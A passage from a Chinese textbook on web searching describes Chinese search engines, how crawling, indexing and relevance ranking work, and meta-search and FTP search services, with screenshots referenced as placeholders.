    之所以说中国搜索引擎而不说中文搜索引擎,是因为国外的著名搜索引擎大都在中国设有公司并且营运相应的中文版本搜索引擎,如Google在2000年9月就推出了中文版本,2005年5月在上海开设了办事处。我们所指的中国搜索引擎专指中国本地企业创办的搜索引擎。事实上,中国本地搜索引擎的发展历史要比国外晚的多,直到2000以后,中国内地的搜索引擎市场才开始获得快速发展。但是,作为全球网民最多的国家之一,中国一直都是各大搜索引擎厂商关注的重点。但是,由于中文处理的特殊性,国内搜索引擎虽然起步晚,却具有中文处理的先天优势和对中国市场更为了解的特殊能力,因此中国本地搜索引擎的发展相当快,甚至超越了在中国营运的国外搜索引擎巨头。

    1)百度

    百度已经成为全球最大的中文搜索引擎之一。这个诗意的名称来自于宋词名句“众里寻他千百度”,巧妙表达了搜寻信息的涵义,不过也有人认为它很有禅意。1991年毕业于北京大学信息管理系的李彦宏在获得美国纽约州立大学布法罗分校(University at Buffalo, the State University of New York)计算机科学硕士学位后,并在Infoseek工作期间创建了ESP[13]技术将它成功应用。1996年,他还首先解决了如何将基于网页质量的排序方法与基于相关性的排序方法进行结合的问题,并因此获得了美国专利。1999年底,李彦宏携风险投资回国和其好友徐勇于2000年1月在北京中关村创立了百度(Baidu)公司。刚起步的时候,百度主要为诸如搜狐和新浪等门户网站提供搜索技术服务,2001年8月开始正式提供自己的搜索引擎服务。2005年8月5日,百度赴美上市成功。另外,百度还于2004年8月收购以分类目录为主要特色的国内著名站点“hao123”,在Web目录方面开始提供自己的服务。更为重要的是,百度还在竞价排名服务等搜索引擎商业模式创新上取得了一定的成果。除此以外,今天的百度已经在电子商务和社区搜索等领域开始了更多的尝试。百度的网址为:http://www.baidu.com,主页如图3. 33所示:

    clip_image075

    3. 33 百度搜索引擎的主页界面(截取于2010-4)[14]

    所谓社区搜索(Community Search),是指利用某种社会交流平台软件,将人们存储在脑海中的知识发掘出来,以解决其他用户所要查询的问题,也被称为“协同搜索(Collaborative Search)”。诸如百度的“贴吧(http://tieba.baidu.com)”、“知道(http://zhidao.baidu.com)”和“百度Hi(http://im.baidu.com)”实时通讯工具,都能够提供这种社区搜索服务,对于在一个社区里面提出的一个问题,由人工参与解答而非搜索引擎通过机器自动算法获得结果。也有人称之为问答式搜索或者在线百科全书等。

    2)北大天网

    很多人都不太了解北大天网,事实上,它也不是商业公司运作的,而是由北京大学计算机系网络与分布式系统研究室于1997年10月29日推出的搜索引擎。从实际运行效果来看,该款搜索引擎为中国本地搜索引擎提供了大量技术人才,而且相关研究室也因此承担了大量的搜索引擎相关学术研究工作,取得了不少成绩,如北大天网中搜索引擎与互联网信息挖掘组的李晓明、闫宏飞和王继民所著的《搜索引擎—原理、技术与系统》就是一本很好的搜索引擎原理入门教程[15]。北大天网的网址为:http://e.pku.edu.cn,主页如图3. 34所示:

    clip_image077

    3. 34 北大天网搜索引擎的主页界面(截取于2007-9)

    除了具有一般的网页查询功能外,它还具有强大的FTP文件查询能力,点击图3. 34中的“文件”链接即可查询FTP文件资源。另外,北大天网还拥有一个巨大的“中国Web信息博物馆”,它主要收集和展示历史上的中国网页信息内容,目前存储的网页数量已达数十亿以上。网址为:http://www.infomall.cn,主页如图3. 35所示:

    clip_image079

    3. 35 北大天网“中国Web信息博物馆”的主页界面(截取于2010-4)

    国外也有类似于北大天网“中国Web信息博物馆”的站点,如“Internet档案(Internet Archive)”,网址为:http://www.archive.org,如在其中查询某站点的历史网页内容记录,如图3. 36所示:

    clip_image081

    3. 36 在Internet Archive站点中查询某站点的历史网页内容页面(截取于2009-4)

    3)其他搜索引擎

    中国本土的搜索引擎还有很多,下面对其他搜索引擎简单做一说明。

    搜狗是搜狐(Sohu)公司的子公司,1996年8月成立的搜狐公司也是最早提供网络信息分类导航服务的网站,1998年2月,搜狐推出了分类目录搜索引擎,是当年Yahoo!搜索引擎对应的中国版本。而搜狗则是搜狐于2004年8月3日专门推出的一款搜索引擎。据称名称来自于2001年电影《大腕》里的幽默台词“他们搜狐,我们搜狗,各搜各的!”。早期的搜狐也做搜索,但是自从推出搜狐以后,搜狐就加快了搜索引擎开发的进度。另外,搜狗在拼音输入等桌面应用程序领域也一直表现不错。网址为:http://www.sogou.com,主页如图3. 37所示:

    clip_image083

    3. 37 搜狗搜索引擎的主页界面(截取于2010-4)

    搜狗为什么要做拼音呢?这与搜索引擎有没有关系呢?正如搜狐副总裁王小川所言,搜索为拼音服务,拼音为搜索服务。一方面从商业层次上看,拼音输入法是一种使用面很广的输入法,利用这种免费的输入法可以极大的宣传搜狗,增加用户对搜狗搜索引擎的了解,扩大搜索引擎的知名度;另一方面从技术层次上看,现代搜索引擎越来越重视对用户行为的理解,认为只有最为了解用户需求的搜索引擎才能取得成功。利用人们在使用输入法中的词语组合等输入信息可以有效的提供“线下(相对于网络在线访问而言,就是不在线的桌面应用环境)”用户的需求信息,以此来改进搜索引擎,反之也可以利用搜索引擎用户的线上查询需求来增强拼音输入法的有效性,如可以把当前的热门查询词语组合排在输入结果的前面等。

    于1997年成立的网易是国内第一家提供中文全文查询服务的门户站点,之后经过几次升级并先后和Google和百度在搜索技术有过合作。同时它在创立时就推出了全中文搜索引擎目录服务,虽然这不是主要服务内容。网易还曾经拥有和维护着当时唯一的开放式目录体系中文版本(类似于著名的ODP),这个项目于2006年被关闭了。不过,就在2006年底,网易推出了自主研发的中文搜索引擎有道测试版,并于2007年12月推出正式版本。网址为:http://www.youdao.com,主页如图3. 38所示:

    clip_image086

    3. 38 有道搜索引擎的主页界面(截取于2010-4)

    虽然以门户服务为主的新浪并非一个专业的搜索引擎,但是新浪于1999年2月2日就已经推出了中文搜索引擎“新浪搜索”测试版,1999年10月9日,新浪还推出了高级搜索,所收集的网页内容规模和分类目录的规范程度都比较不错。2000年11月1日,新浪又正式推出国内第一家综合搜索引擎,即可以同时对多种不同类型的信息内容进行同步查询,在用户的一次查询过程中,就可以在结果网页上获得包含目录、网站、新闻标题、游戏等在内的各类综合查询结果。2005年6月30日,新浪终于推出了专门的搜索引擎——新浪爱问搜索,网址为:http://www.iask.com,主页如图3. 39所示:

    clip_image088

    3. 39 爱问搜索引擎的主页界面(截取于2010-4)

    中搜是由“慧聪搜索”发展而来,它是由中国网、慧聪国际等公司共同创办的中国搜索联盟,于2002年9月正式改名为“中国搜索”,并于2003年8月推出搜索门户,后来改称“中搜”,网址为:http://www.zhongsou.com,主页如图3. 40所示:

    clip_image090

    3. 40 中搜搜索引擎的主页界面(截取于2010-4)

    甚至一些其他门户站点,如实时通讯软件提供商腾讯也推出了自己的搜索引擎“搜搜”,网址为:http://www.soso.com,主页如图3. 41所示:

    clip_image092

    3. 41 腾讯“搜搜”搜索引擎的主页界面(截取于2010-7)

    除此以外,象中国台湾和香港地区都有自己本地的搜索引擎。如由台湾中正大学吴升教授所领导GAIS实验室开发的Openfind搜索引擎成立于1998年1月,是台湾最早开发的中文智能搜索引擎,采用GAIS实验室推出多元排序(PolyRank)核心技术,今天的业务主要从事搜索产品相关服务,网址为:http://www.openfind.com。再如中国香港搜索引擎Timway,网址为:http://www.timway.com。

    1.2 搜索引擎的原理与工作机制

    正如序言所说,本书并非技术原理类教程,因此并不打算对此话题做过多的讲述。但是,通过以往的使用经验表明,如果用户对搜索引擎的基本工作机制有一些基本的了解,那么用户可以更好的理解现代搜索引擎能够做什么以及不能够做什么,同时,在使用当中如果出现了问题,我们也可以更加容易知道个中原因,并有针对性的进行改进,从而提高信息查询的效果。因此,本节对此问题略作说明。

    1.2.1 搜索引擎工作机制

    从结构上看,搜索引擎主要可以分为三个模块,分别是网页遍历模块、索引模块和检索模块。下面我们结合搜索引擎的一个典型的工作流程,来谈谈它究竟是如何运行的。

    假设用户打开Google搜索引擎,键入“南京财经大学”六个字,在耗费大概0.15秒以后,用户看到了最终的结果网页,其中南京财经大学的主页链接被排在第一位,其他几个相关站点分别罗列于下方,如图3. 42所示:

    clip_image094

    3. 42 利用Google搜索引擎获取“南京财经大学”的查询结果页面(截取于2010-4)

    这个短短的0.15秒究竟发生了什么呢?我们凭借直觉,感觉应该是这样的。搜索引擎获取到用户输入的查询词语(即所谓的关键词),到Internet上去查看每一篇网页内容,并判断网页是否与所查询的词语相关,然后把找到的网页URL及其相关信息显示给用户即可。

    这种看起来非常简单的做法其实根本行不通。原因有很多,就说一个最为简单的问题,那就是搜索引擎如何快速的在如此多的网页中找到用户所需的网页?前文已经说明,Google搜索引擎在2008年就已能获取到万亿级的网页数量,而且据学者Bar-Yossef和Gurevich在2006年采用随机采样方法的研究表明,当时的Google搜索引擎大概只能获取到实际Internet上64%的网页[16]。可以毫不夸张的说,Internet真是一个海量的网页世界。事实上,搜索引擎能够获取的网页URL只会更多。因此,在如此多的网页中,实时的在每篇网页中逐字逐句的查找关键词,显然绝不可能在0.15秒完成。

    读者可能并不清楚为什么网页数量和网页URL数量并不一致。一般来说,一个网页应该具有一个URL,一个URL对应一个网页。对于传统的静态网页而言,这是正确的。但是对于现在更为常见的动态网页而言,一个网页完全可以对应多个不同的URL,如下面两个URL:

    http://www.njmars.NET/list.asp?boardid=4

    http://www.njmars.Net/list.asp?boardid=12

    它们都是访问http://www.njmars.net/list.asp网页,但是后面跟着的参数并不一样,所以读者会发现它们分别打开不同的论坛栏目。

    为此,搜索引擎需要事先做点准备工作,就像从一个整理过的图书架可以更快的找到所需要的图书一样。不过,搜索引擎的准备工作比较复杂,可能得花费它几天到几周的准备时间。在这期间,它需要完成两件重要的工作。

    一是先利用爬虫从Internet上获取尽可能多的网页,将其保存在搜索引擎自己的数据库中。这里有两个需要解释的地方:一是之所以说是尽可能的多,是搜索引擎自己的技术局限性和网页不断增加的现状,导致不可能获取全部的网页信息,通常爬虫一秒钟也只能获取到不到100个网页信息;二是之所以这样做的原因是在获取这些网页后,再以它们作为用户查询的依据,就不要在用户查询时再去实时查询Internet上的网页内容。具体来看,爬虫程序可以从一个或者几个起始网页开始,下载这些网页,并将网页内容和URL等信息一起保存在搜索引擎自己的数据库中。然后,爬虫程序可以从这些网页中进一步得到其他网页的链接,再次获取这些超链所对应的其他网页,这个过程将不断的进行下去。通常这种过程我们称之为“网页遍历”。由于不可能收集完所有的网页,所以搜索引擎通常会在一段时间后或者在满足一定条件时完成这种遍历活动。

    因此,这时我们可以回答一个问题:为什么有时候搜索引擎找不到某些已经存在的网页?除去用户方法错误等主观原因外,常见的一个原因就是搜索引擎可能没有对这个网页进行遍历和进一步的索引,因此在利用该搜索引擎进行查询时,用户将无法获得该网页的任何信息。

    二是需要对存储在搜索引擎本地数据库的网页信息进行必要的分析和索引。分析的目的在于解析网页内容,如今天的搜索引擎可以查询诸如Word文档和Flash动画等各种常见格式的文件,这个功能就需要搜索引擎对收集来的文件信息进行分析才能实现。索引过程也很复杂,细节我们可以不必关心,不过我们必须理解建立索引的必要性。如果没有索引,对于这些数量极大的网页内容,如果采用直接扫描的方式,仍然不可能在很短的时间内完成用户查询。建立索引好比是图书馆对图书进行重新编码和整理,从而可以在较短的时间内找到所需的内容。本书的后面章节将会介绍很多具体的搜索引擎查询方法,其实每种方法都可能需要不同的索引来处理,所以,搜索引擎的索引量非常大。优秀的索引方法可以极大了提高查询速度,甚至可以达到在毫秒级的查询响应能力。

    到此,搜索引擎就完成了必要的准备工作,开始提供查询服务。在用户输入查询关键词后,搜索引擎利用该关键词到索引中去查询对应的网页,并将命中的网页URL和诸如摘要等相关信息整理出来。由于可能会命中数以万计的网页结果,所以通常搜索引擎只显示部分结果,其他的内容放在“下一页”中显示。因此,这里又产生一个重要问题,把什么网页放在第一页呢?又根据什么把什么网页放在第一条呢?可以想象,应该把用户最想得到的网页结果放在第一页的第一条。这就需要搜索引擎具有相关度排序能力。所谓相关度,可以理解为满足用户需求的程度。由于每个搜索引擎的相关度排序方法都不一样,所以即便是同一个关键词,不同的搜索引擎返回结果也往往具有非常明显的差异。

    图3. 42所示的Google返回结果把“南京财经大学”学校主页放在第一页的第一条,显然是正确的。事实上,Google就是因为使用了被称为PageRank的高级网页相关度排序方法才取得比较好的效果,才在很短的时间内快速成长为一家著名的搜索引擎公司[17]。而百度创始人李彦宏当年发明的超链分析技术也是这样的网页相关度排序方法。可见对于搜索引擎而言,这种网页相关度排序技术非常重要,尤其在强调网页结果查准率高的现在更是如此。

    我们又可以回答一个问题了:为什么搜索引擎的有些结果网页打不开?此时浏览器会显示“无法找到该页”,如图3. 43所示:

    clip_image096

    3. 43 某些通过搜索引擎查询到的不能打开的网页界面(截取于2010-4)

    更为奇怪的是,有时打开某些结果网页,你会发现这个网页压根就没有你所要的内容。其实造成这些现象的原因可能都是一样。因为搜索引擎遍历和索引网页是需要一定时间,也许在当时爬虫遍历网页时,这些网页还存在或者还有某些关键词信息,但是到用户查询的时候,这些网页可能已经被删除,这时会出现上述“无法找到该页”的错误,或者网页URL还有效,但是内容已经被修改,所以压根就没有用户现在所要的内容。

    不过,这个问题并非不能解决。搜索引擎结果页面每条命中网页记录后的“网页快照”就提供了一种获取搜索引擎所存储的网页原始内容的能力。在上述情况出现的时候,可以通过使用网页快照获取所需内容,如图3. 44所示:

    clip_image098

    3. 44 百度搜索引擎中“南京财经大学”命中结果网页的网页快照(截取于2010-4)

    1.2.2 查询结果的显示模式和排序依据

    同样的查询“南京财经大学”在百度中的搜索结果如图3. 45所示:

    clip_image100

    3. 45 利用百度搜索引擎获取“南京财经大学”的查询结果页面(截取于2010-4)

    和图3. 42所示的Google返回结果相比,两者的区别比较明显。不过,我们也能看到它们都有一种同样的模式。一般而言,每个命中网页都会给出诸如网页URL、网页标题、网页摘要等内容。其中网页标题通常就是一个指向网页URL的超文本,而且网页URL还会以绿色显示在网页记录的最底下,网页摘要则仅仅是网页内容中含有关键词的一段文字,这些内容中含有关键词的部分通常都会红色高亮显示以示强调。除此以外,有时搜索引擎还会给出网页更新时间(如2010-4-7)、网页大小(如2K[18])等。再如,如果安装了Google的工具栏,还能够看到网页的PageRank值等。

    当然,在结果网页列表中,最令用户关心的其实还是命中网页的次序,这好比是梁山好汉的座次,越靠前越说明该结果网页越重要和越相关。前文说过,这是相关度排序方法在起作用。不过,有一个问题需要回答:搜索引擎是根据什么来排序的?往往在不同的搜索引擎结果中网页次序的差异非常大,即便是同一个搜索引擎的结果都会因为版本不同而有巨大差异。有一个有趣的站点给出了Google英文版和Google中文版的显示结果差异图,网址为:http://www.langreiter.com/exec/google-vs-google.html,如图3. 46所示:

    clip_image102

    3. 46 给出Google英文版和Google中文版在查询“China”时的显示结果差异(截取于2010-4)

    早期的搜索引擎一般都是按照比较传统的方法来对网页进行排序,大概有如下几种方法:

    一是按照词语出现的次数,即词语频率,简称为词频。如果网页A出现了10次“猫”,显然比只出现一次“猫”的网页B更能反映与查询词“猫”的相关性。因此,如果一个网页含有的查询词语越多,一般可以认为该网页和该查询词语的相关度越大。

    二是按照词语出现的位置。如果网页A在标题中出现了“猫”,显然要比在正文中出现“猫”的网页B更能反映与查询词“猫”的相关性。因此,搜索引擎可以根据词语出现位置的不同分别设置不同的权重值,以此反映这种位置不同所产生的相关度差异。

    不过,这些方法都存在着一个致命的问题。谁不想让自己的网页排在搜索引擎返回网页结果的前面呢?网络管理员完全可以通过在自己的网页中重复或者故意在重要位置添加一些流行关键词,从而获得本来并不应该获得的次序提升。我们把这种行为称为“搜索引擎作弊(Search Engine Spam)”。而早期的搜索引擎无一例外都存在着这种被欺骗的可能性。

    如同评价一个人,他自己说怎么怎么好是没有用的,而凭借词频和词语出现位置来评价网页相关性就如同采用这样的自我评价方法一样缺乏客观性。显然,更为客观的方法应该是由别人来评价。对于网页而言,这种所谓的别人评价方法存在吗?完全存在,这就是超链。

    我们做一个分析。如果在查询某一个词语时,有一个Yahoo!的网页和某个用户的个人博客网页都被命中,那么哪个网页更可能与当前查询用户的信息需求相关呢?虽然我们没有具体考察这些网页的内容,但是凭感觉,或者说有相当大的概率可以保证,Yahoo!的网页可能更相关,因为Yahoo!网站知名度高。为什么说Yahoo!网站知名度高呢?因为有很多Internet上的网页都有指向Yahoo!网站网页的超链。对于这种超链,Yahoo!自己无法控制,它们是由其他人在自己网页中建立的,从而较为客观和间接的反映出目标网页的质量和相关性。事实上,Google的PageRank和百度的超链分析技术都基于这种思想来给结果网页进行排序,实践证明该方法很有效。然而,不可否认的是,即便是这种方法,现在也仍然受到多方面的挑战,甚至催生出一种新的职业:SEO(Search Engine Optimizer,搜索引擎优化师),言下之意就是利用搜索引擎排序方法的特点,有意识的对目标网页建立一些超链从而获得查询结果次序的提升。搜索引擎允许正当的优化提升行为,但是会检测那些恶意的提升行为。2006年德国的宝马汽车公司就因为这种恶意提升行为而遭到Google的封杀,以至于当时从Google搜索引擎中再也无法找到德国宝马汽车公司的网站信息,人们形象的称之为“Google死刑”。

    不过,细心的读者可能还会发现百度结果网页的右边还有一组网页结果,这是怎么回事?其实,搜索引擎早已注意到这种排序机制对于企业产品营销是非常重要的,与其你们你抢我夺的来争,不如我搜索引擎自己来卖。搜索引擎可以通过竞价出售的方式来销售某些流行关键词的排序位置,这也是现代搜索引擎一种重要的商业盈利模式。有些搜索引擎将这些竞价排名的网页和一般的网页结果混合在一起,而诸如百度等搜索引擎则在结果网页的右边单独显示这些付费排序结果内容。不管怎么说,竞价排名也成为一种重要的排序指标。

    更有意思的是,有些搜索引擎甚至还允许用户自主选择排序依据,如北大天网的FTP搜索引擎,就可以根据“相关”、“时间”、“大小、“距离”和“稳定”等指标由用户自主选择排序依据,从而方便用户使用,比如,如果要下载的文件较大,则可以按照“大小”排序把大文件放在前面。页面如图3. 47所示:

    clip_image104

    3. 47 北大天网FTP搜索引擎可以根据多种指标对结果进行排序(截取于2004-9)

    最后说明一点,由于搜索引擎爬虫程序会定期重新遍历网页,更新网页索引数据库,所以搜索结果和结果网页的次序并非始终保持不变。有时这些结果网页甚至会显示出剧烈的排名波动,有的网站会在查询结果中突然消失再也找不到,而有的网站则突然名列首位。如Google搜索引擎数据库每月会有一次大规模的升级,产生的这种波动现象被人形象的称之为“Google之舞(Google Dance)”。

    1.3 特种搜索引擎

    除了Web网页搜索引擎外,Internet网络上还有很多特殊类型的搜索引擎,如元搜索引擎、FTP搜索引擎、多媒体搜索引擎和地图搜索引擎等。这些都能够给用户提供一些具有特殊功能的查询方法,它们对Web网页搜索引擎也是一种很好的功能补充。

    1.3.1 元搜索引擎

    元搜索引擎的原理和一般搜索引擎并不一样,它并没有采用标准的爬虫和索引数据库等复杂的结构,相反,它非常简单。

    为什么要使用元搜索引擎?元搜索引擎是如何工作的?在回答这些问题之前,我们先来看看传统Web搜索引擎可能存在的问题。事实上,由于各个Web搜索引擎所使用的爬虫技术和索引技术都各不相同,而且都把实现细节作为核心秘密并不对外公开,所以就使得各个Web搜索引擎的差异很大,比如现代搜索引擎的相关度排序算法都各不相同,通常任何两个搜索引擎都会对同一个查询词语提供完全不一样的结果,如查询“期货行情”,百度的查询结果和Google的查询结果如图3. 48所示:

    clip_image106 clip_image108

    3. 48 在百度和Google中查询“期货行情”的不同显示结果页面(截取于2010-7)

    这就会造成一些困惑,究竟什么网页是用户最想得到的?而且不同的搜索引擎优点和强项也各不一样,经常有人形象的说“内事问百度,外事问Google”,说白一点,就是百度查询中文信息更为方便一些,而Google查询外文信息则更为强大。

    能不能把所有搜索引擎的功能结合起来提供一个更为强大的搜索引擎?这就是元搜索引擎。一般而言,元搜索引擎往往能够提供更为方便和强大的查询界面接口,用户使用起来更为方便,如有的元搜索引擎增加了时间查询功能,有些还能够将网页查询、词典查询、百科查询和寻人服务等全部结合成一个一站式的查询站点。当然,元搜索引擎自身没有任何爬虫和索引,不过它会将用户的查询转发到其他真正的Web搜索引擎中,一般的转发方式是转发给多个搜索引擎,然后将获取到的不同搜索引擎的查询结果集中起来,按照自己提出的相关度排序算法重新排序和筛选,整理出最终的查询结果返回给用户。复杂的转发方式甚至可以根据用户查询的不同而转发到不同的搜索引擎和一些信息查询站点,以充分发挥其他搜索引擎和信息查询站点的特殊优势,最终也把结果整理后返回给用户。所有这些处理步骤用户都是看不见的,用户唯一能够感受到的只有一个功能更为强大和全面的搜索引擎,那就是元搜索引擎。

    不妨做个比喻,比如火车订票,如果直接到火车站去购票,虽然可以直接获得所需的车票,但是有时并不方便。借助票务公司,上述缺点都可以很好的得以解决,虽然他们的火车票最终仍然来自于火车站。用户直接把请求提交给票务公司,票务公司利用火车站的资源,通过增加自己的服务内容以方便用户使用,最终将火车票返回给用户。我们可以把火车站看成是一个搜索引擎,而把票务公司看成是元搜索引擎,而用户的买票则可以看成是信息查询。

    目前,主要的元搜索引擎有两种类型:元搜索引擎站点和桌面元搜索引擎。

    1.3.1.1 元搜索引擎站点

    元搜索引擎站点是以Web网站的形式提供服务,和一般的搜索引擎相比,外观和使用方式十分相似。它们有Metacrawler、iTools和Dogpile等。

    1)Metacrawler

    最早的元搜索引擎就是于1995年由华盛顿大学(University of Washington)学生埃里克·塞尔伯格(Eric Selberg)和奥林·艾兹尼(Oren Etzioni)设计的Metacrawler,现在它主要利用Google、Yahoo!、Bing和Ask等搜索引擎来提供查询服务。它的名字直接翻译过来就是“元爬虫”,这恐怕也是元搜索引擎名称中那个“元”的来历。它的网址为:http://www.metacrawler.com,主页如图3. 49所示:

    clip_image110

    3. 49 Metacrawler元搜索引擎的主页界面(截取于2010-7)

    值得注意的是,该元搜索引擎不能很好的支持中文信息查询。如查询“Investment(投资)”,结果页面如图3. 50所示:

    clip_image112

    3. 50 在Metacrawler元搜索引擎中查询“Investment”的结果页面(截取于2010-7)

    除了能够在网页上部看到明显的“View Results From(查看结果来自于)”说明外,每条记录的后面都跟有诸如“Found on Google, Bing, Yahoo! Search(在Google,Bing,Yahoo! 中查询到)”之类的说明,不同的命中结果都会跟随不一样的来源搜索引擎名称,而且这些结果的内容和排序都和后台搜索引擎并不一样。Metacrawler还在结果网页中提供很多更为强大的查询功能。如扩展查询,它显示在页面的右部,标题为“Are you looking for(你是不是要找)”。同时,还有历史查询记录(Recent Searches)和流行查询词(Popular Searches)。

    除了这些功能外,Metacrawler还具有黄页查询和百页查询等高级功能,其中黄页查询包括了Metacrawler提供的百页查询服务,即寻人服务。在Metacrawler主页点击“Yellow Pages(黄页)”,即可看到黄页查询页面,如图3. 51所示:

    clip_image114

    3. 51 Metacrawler元搜索引擎提供的黄页查询(截取于2010-7)

    在此用户可以查询企业、个人和地图等信息,Metacrawler通过Superpages黄页站点[19]返回公司目录信息,通过Intelius寻人查询站点[20]来提供寻人服务。如查询“Microsoft(微软)”的公司信息,查询结果如图3. 52所示:

    clip_image116

    3. 52 在Metacrawler元搜索引擎黄页查询中查询“Microsoft”的结果页面(截取于2010-7)

    2)iTools

    iTools也是一款非常不错的Web元搜索引擎。和Metacrawler相比,它所收录的搜索引擎和提供的功能更多。网址为:http://www.itools.com,主页如图3. 53所示:

    clip_image118

    3. 53 iTools元搜索引擎的主页界面(截取于2010-7)

    iTools也不能很好的支持中文查询,但是它提供的查询功能确实太多,主要分为三大类,分别是“Search Tools(查询工具)”、“Language Tools(语言工具)”和“Research Tools(研究工具)”。所有的工具都有默认的搜索引擎或者查询站点,用户可以更改这些设定。在页面的左边有一个列表,比如点击“Search Tools(查询工具)”即可看到查询工具的默认搜索引擎设置,并可以更改,不过和Metacrawler能够同时查询多个搜索引擎不一样,iTools中的一个查询功能只能设定一个默认的搜索引擎来查询,页面如图3. 54所示:

    clip_image120

    3. 54 在iTools元搜索引擎中更改默认的查询工具设置(截取于2010-7)

    对于语言工具和研究工具而言,iTools的功能也非常多,如语言工具中利用Merriam-Webster(韦氏词典)提供的词典服务和利用微软Encarta在线百科全书提供的百科全书查询服务等。相关查询界面如图3. 55所示:

    clip_image122

    3. 55 iTools元搜索引擎提供的语言工具和研究工具(截取于2010-7)

    1.3.1.2 桌面元搜索引擎

    由于元搜索引擎实现难度小,完全可以将其制作成一个可以运行在计算机上的应用程序,这样用户只需打开这个程序就可以使用元搜索引擎的各项功能。这种程序被称为桌面元搜索引擎。这些软件大多都可以从Internet中下载,一般的软件下载站点中“网络工具”的“网络搜索”栏目都会有收藏。

    1)飓风搜索通

    它是一个桌面应用程序,可以将用户查询转发到包括百度、Google等在内共7个搜索引擎,并将结果集中显示在该程序界面中。如查询“汇率”相关网页结果,用户能够看到明显的在各个搜索引擎中查询结果的获取进度,界面如图3. 56所示:

    clip_image124

    3. 56 在飓风搜索通中查询“汇率”的程序运行界面(截取于2010-7)

    点击具体的每一个搜索引擎,可以看到该搜索引擎的查询结果,如图3. 57所示:

    clip_image126

    3. 57 在飓风搜索通中查询百度搜索引擎获取的“汇率”相关网页结果(截取于2010-7)

    该桌面搜索引擎还可以允许用户通过提交自定义搜索引擎来扩展系统的查询功能。

    2)搜索奇兵

    该系统功能更为强大一些,不仅可以对多个搜索引擎进行同步查询,而且还增加了诸如过滤重复域名、按更新时间排序、验证网址方法是否更加先进与稳定、过滤不合适字词等功能,这些功能都是对现有搜索引擎功能的扩充和完善。如查询“iphone”的相关查询结果界面如图3. 58所示:

    clip_image128

    3. 58 在搜索奇兵中查询“iphone”相关网页结果(截取于2010-7)

    1.3.2 FTP搜索引擎

    FTP是早期Internet所提供的文件查询服务,但是随着WWW服务的出现,FTP并没有消失,相反,人们在很多情况下仍然需要使用这种功能,特别是在查询音乐、软件、电子书或者视频等文件信息的时候,利用FTP可以一步到位的找到所需文件。Internet上现在仍有很多FTP服务器在运行,其中相当一部分是免费的FTP服务器。然而,我们需要知道哪个FTP服务器上有哪些文件,这也是早期Archie出现的原因之一。

    和元搜索引擎一样,在Internet上有专门的基于WWW方式访问的FTP搜索引擎站点和桌面FTP搜索引擎程序,这些不论是在功能上还是界面易用度上,都比早期的Archie等工具更为优秀。

    1.3.2.1 FTP搜索引擎站点

    1)北大天网

    它是一款国内较为著名的FTP搜索引擎,由北京大学计算机网络与分布式系统实验室运行维护。它提供了网页查询和FTP文件查询两种主要功能。网址为:http://e.pku.edu.cn,主页如图3. 59所示:

    clip_image130

    3. 59 北大天网FTP搜索引擎的主页界面(截取于2005-12)

    点击主页上的“搜索文件”就可以查询FTP文件。如查询开发工具“JDK”的软件包文件,可以直接在搜索框中输入“JDK”,即可得到命中结果。和一般的Web搜索引擎不一样的地方在于,这些命中结果都是可以直接下载的FTP文件链接,界面如图3. 60所示:

    clip_image132

    3. 60 在北大天网FTP搜索引擎中查询“JDK”的相关FTP文件结果页面(截取于2005-12)

    北大天网还允许用户对结果按照不同指标进行排序已得到合适的结果次序。同时借助FTP搜索引擎,我们还可以得到更多的相关查询结果。比如既然命中的FTP服务器上有JDK的相关文件,那么它就应该还具有与此相关的更多资源。如在上述结果界面中点击“资源位置”链接,即可打开相应结果所在的FTP服务器文件目录,从中可以看出与JDK相关的其他一些开发工具也都可以下载使用,界面如图3. 61所示:

    clip_image134

    3. 61 在北大天网FTP搜索引擎中进一步查询与“JDK”相关的其他FTP文件结果(截取于2005-12)

    2)Grid FTP搜索引擎

    它是由中国科学技术大学网络信息中心网络技术研究中心运行维护的FTP搜索引擎,既可以进行中国科学技术大学的校园FTP资源查询,也可以用于Internet中FTP资源的查询。在功能上,它可以查询诸如文件和影视等各种常见FTP资源。网址为:http://grid.ustc.edu.cn,主页如图3. 62所示:

    clip_image136

    3. 62 Grid FTP搜索引擎的主页界面(截取于2010-7)

    3)FileWatcher(文件看守者)

    它是一款国外的FTP搜索引擎。除了支持一般的FTP文件名称查询外,还支持部分文件内容的查询功能,甚至提供了很多布尔查询和模糊查询功能。网址为:http://www.filewatcher.com,主页如图3. 63所示:

    clip_image138

    3. 63 FileWatcher FTP搜索引擎的主页界面(截取于2010-7)

    比如查询“carrace(赛车游戏)”,界面如图3. 64所示:

    clip_image140

    3. 64 在FileWatcher FTP搜索引擎中查询“carrace”的结果页面(截取于2010-7)

    所有的查询结果文件只要能够找得到,一般都可以直接点击下载,这是FTP搜索引擎最为重要的一个特点。

    FileWatcher另一个非常强大的地方在于它还支持正则查询(Regex Query)。比如正则查询表达式“^car*game”就表示“以car开头并后接game”的相关词语,查询结果如图3. 65所示:

    clip_image142

    3. 65 在FileWatcher FTP搜索引擎中进行正则查询“^car*game”的结果页面(截取于2010-7)

    1.3.2.2 桌面FTP搜索引擎

    此类桌面FTP搜索引擎有很多。和桌面元搜索引擎一样,这些软件也多位于下载站点中“网络工具”的“网络搜索”栏目。此类搜索引擎软件不带有自己的索引,往往只提供一个类似于爬虫的搜索程序,可以扫描FTP服务器来获取相应的文件资源信息。

    FTP搜索利器就是一款常见的桌面FTP搜索引擎软件,该软件允许用户设置起始IP和结束IP,并自动扫描此IP段的所有的FTP服务器,并可以浏览相应FTP服务器下的所有文件信息。程序界面如图3. 66所示:

    clip_image144

    3. 66 FTP搜索利器的程序运行界面(截取于2010-7)

    1.3.3 多媒体搜索引擎

    从概念上看,多媒体搜索引擎是相对于一般文本搜索引擎而言的,也就是说,利用该搜索引擎用户可以查询诸如图片、视频和音频等多媒体信息。事实上,现阶段的大多数搜索引擎都支持多媒体查询功能,如百度的MP3搜索和Google的图片搜索等。

    然而,现阶段的多媒体搜索引擎都是利用文字信息来查询,这种方式被称之为基于文本(Text-based)的多媒体查询方法。虽然看起来比较简单和易于使用,但是由于一般的多媒体数据信息通常都会缺乏必要的文字信息说明,而且在现阶段人们还难以有效和快速的从多媒体信息中抽取文字信息内容,所以利用文字信息进行查询的效果通常都不是很好。

    随着技术的发展,人们也逐渐推出了一些更为高级的利用多媒体信息自身特征数据进行查询的方法,如按照音乐风格和图片颜色等方法,这种方式被称之为基于内容(Content-based)的多媒体查询方法。

    本节分别介绍图片搜索引擎、音乐搜索引擎和视频搜索引擎等三种最为常见的多媒体搜索引擎,同时对基于文本的查询方法和基于内容的查询方法也分别予以说明。

    1.3.3.1 图片搜索引擎

